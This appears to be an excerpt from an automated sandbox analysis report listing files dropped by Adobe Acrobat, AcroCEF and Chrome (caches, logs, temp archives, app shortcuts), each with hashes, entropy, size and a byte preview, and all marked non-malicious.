Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780528042515406
Encrypted:	false
SSDEEP:	48:7M81WR1CPmPbPahOQypilIEqFl2GL7ms/:73WfMwbPahOQJKVms/
MD5:	A3DBF96F402B9A69B86C13AC3BEE296C
SHA1:	F4778F68C555C093A659DD84FC1212025A5F93EB
SHA-256:	96737F7E4C440BE951FE62C17E1AF459F0A718ACCD66A996643E1822E4B6FB7B
SHA-512:	6899976FA96CFA4D89B9731D09D16F96BE98E2FC777B18DDED64970B83B0EFA742C8B94A4C9ECE1C6B9B8D4A20B6D33905AB42CE97FCB516527559045464FD92
Malicious:	false
Preview:	.... .c......vG:..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5JckyziEdBpJYCjsQyTZtTPYyu:6a6TZ44ADEzckyz/dOkRqK
MD5:	7D207E26C18623DB61AD807E2301F425
SHA1:	D4D67DFA42F15319459F2602F86A54D9E3480109
SHA-256:	0E3B1997E6090B1AFCAE6522DA44DAE6E0A763B603FFE9D73B092D510DE6C7EC
SHA-512:	D09E8F4AF772FDC4A0FFA136331DE5426249D1267B9C1D9AA91454C09B5A113703F6952EE9D01FAB328F7EF10AA209313E9100AB58E4DC2832E0AD696911274A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI9a9d7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4786866556690192
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8mUl8v3GldH:Qw946cPbiOxDlbYnuRKBGldH
MD5:	0568BBD25353CBF6AA700EF3A0653A7F
SHA1:	9A50DE385757FEB02078CBE4EA4658D06326EFD9
SHA-256:	95681E56AA820610045C78B254ED74133000BB12E9BD1B65D3AAEB8E8DE81FBD
SHA-512:	645653A7218A281D155BE4CCFEB013323D18C6342F86E7B2422043A1262C739E8B2E278E240C49D5ED0D8DC2AE4724CADA4143F01134BEE894332AB8FAE7C931
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.9./.1.1./.2.0.2.4. . .1.2.:.1.9.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-19 12-19-07-292.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3632896097771745
Encrypted:	false
SSDEEP:	384:N4vn4eb4eY4eb4er4ec4ew+4eA4e94e14ea4ew4yj4Tpj4TN4dK4dI4GS43Q4376:NoteFhaO++v/w2RYjw5VMlmCfYJQuOwM
MD5:	CAC25246D79CD8719C08D4D1FA221B51
SHA1:	DC4ECBE347F300F046E14EC90BF2B4ABA64CF09A
SHA-256:	8BE993FC8155096BCBDC6475F55FCAC2A6180E907DD6DCC205B252AEDBBA4511
SHA-512:	BA2BB9B45E34ECAFCC3E35ACA67F44DB82556E0AB2E5E80411EDC814AA422F1419539D538ABF7D1974F7D8C5FC16089FA5BA72A325D26E88CF8CE2A704F3279F
Malicious:	false
Preview:	SessionID=788fa8ff-8abc-4cca-8bd6-decb19171288.1732036747318 Timestamp=2024-11-19T12:19:07:318-0500 ThreadID=7600 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=788fa8ff-8abc-4cca-8bd6-decb19171288.1732036747318 Timestamp=2024-11-19T12:19:07:319-0500 ThreadID=7600 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=788fa8ff-8abc-4cca-8bd6-decb19171288.1732036747318 Timestamp=2024-11-19T12:19:07:319-0500 ThreadID=7600 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=788fa8ff-8abc-4cca-8bd6-decb19171288.1732036747318 Timestamp=2024-11-19T12:19:07:319-0500 ThreadID=7600 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=788fa8ff-8abc-4cca-8bd6-decb19171288.1732036747318 Timestamp=2024-11-19T12:19:07:319-0500 ThreadID=7600 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.411627558094057
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbrcbOIOecbt:ceo4+rsC6O5
MD5:	63FD16F3C22C85D3617488FF117CD257
SHA1:	D9E81E6563708307955631697A791A5C66C901FA
SHA-256:	6ED0894D7FD61DB222735DA69C21561A843A55F863A06A0ACA3BBBD071659D0B
SHA-512:	FA04AC21E0E8FC2B231C81CC6A2FCCAA4F9C5ADD4D70286744029218320EB52C99E29F54463AF1D887C0076289EFCE99CC298DAEF858CCCBC6F7DAEDBFE7FA4B
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6fe6adad-59b1-4bc2-ae7d-20b75af801dd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8eea0d6d-9922-4a10-9dc9-493a6d05443d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c2823e02-2422-4562-a30a-cc795565b883.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07okZwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxkZwZG6GZn3mlind9i4ufFXpAXkru
MD5:	ACB1B27818CEB36D0750207A9585D1DE
SHA1:	6F8E0D68875083DD83681391CE1C8304D0CF8C29
SHA-256:	BAB1F04D2DB8ADF240CFE93D51DFDA5CABE1D1DA91DCC807D2ABD93E030926D6
SHA-512:	AFE11C5D4A50430BE73E2D82081C6C02DB93A8368999C9139863A5A2DD0780066E020A5D2FDC94612E808862C8FB0CF90CA92E7CEAAAFEB4C3EA59703229B4AA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d1e46877-c5aa-4a59-b511-8ad7325be7e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:19:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.971628949116816
Encrypted:	false
SSDEEP:	48:8aQ0dUTYsUHuidAKZdA1oehwiZUklqehny+3:8rb/sUy
MD5:	97E034A059B050B72CA6B85636C858A9
SHA1:	029D2BDA7AC30321F7AD3A31F00AFFFBD9494B2F
SHA-256:	789CD338134AB0D2BC8B0E43312D48323751A1E4FF35759D522D23D95AA521C4
SHA-512:	51A0B7E9DDD7EE9EB036B96A1237643981C3B41B390ACE3964D491373B9F1B269F46721E46146832A7156161B80511AF63E1443D1004EEB5049CF1CAB6C4ED5C
Malicious:	false
Preview:	L..................F.@.. ...$+.,....s..3.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsYc.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYo.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYo.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYo............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYq............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:19:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9913217234490657
Encrypted:	false
SSDEEP:	48:8c0dUTYsUHuidAKZdA1leh/iZUkAQkqehEy+2:8cb/+9QVy
MD5:	794C27595919A609994E3083E43657F0
SHA1:	EF521F827CBA9ABE6C52ABEB27A3EB3342F8DFD9
SHA-256:	7793D5BA73399094AC5F51567C063781CCC541AB16ACB544AC45481A1EA627DF
SHA-512:	1A1EA6C10962940EB6FE59EC703728901840C00AA4D3E157E4E647FD5055692A1FDE10E0326AD9B5FB186CD15FB9D4C81B3221D14FAACECCC334FE0C3CBB0DAA
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......2.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsYc.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYo.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYo.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYo............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYq............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001388883468513
Encrypted:	false
SSDEEP:	48:810dUTYsbHuidAKZdA14t5eh7sFiZUkmgqeh7sqy+BX:81b/znwy
MD5:	DDB2272C8B395B868BB864C999C8DAC6
SHA1:	A17BCFCFE1B8132E2291A8E09CE08B6F73C057EE
SHA-256:	891408699AD13EBCEB52F8AB441BBBAED7051B1FC41A91151000AE65489C682B
SHA-512:	2372735D5F9C1D40F631B02D14C369FAF0A908775D7F110C8244594ED5107FF6AF98454682F765B9803DA52047C23D4811B78EC08B4E54E3DA6A3D4D269F6E93
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsYc.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYo.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYo.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYo............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:19:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9888657063855164
Encrypted:	false
SSDEEP:	48:8N0dUTYsUHuidAKZdA16ehDiZUkwqehIy+R:8Nb/1iy
MD5:	B9E1BEE138BAFFCD289B207C88A17920
SHA1:	D7C8C5F079009D78CEA2F7CCCD0957F96E80185B
SHA-256:	18AC43F3F113A2321822864E14CB13E151831E54B346616B2769BBF7660EFA78
SHA-512:	C987585C1ACFCFAEA3AF64A6DF2E1C009B2EB64127977464AF88618FA656A5C0AFE0F38958B9886B46BF206093D4D93A5720B76B87DE5F07893F650DEE0E6A44
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......2.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsYc.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYo.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYo.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYo............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYq............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:19:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9779370677930865
Encrypted:	false
SSDEEP:	48:8XV0dUTYsUHuidAKZdA1UehBiZUk1W1qehGy+C:8lb/F9my
MD5:	2D8B27454B46C3CF993E686F7CEA9644
SHA1:	A87E9EDD697CB370D088D4706A7AEDB7930D2FE7
SHA-256:	4D54576F083D78A9D7878BA0663236CBF53473BF1D3913E47F68BBEF37E0372F
SHA-512:	95E2C939E7CE0454785B089C889022E09D5888889AE2D9CD99E1A6D67DC6F275F6EC5A8EEF6D6E9E7A788660219D7D2C2D6183DE765C8E9D3223B0370994B3A6
Malicious:	false
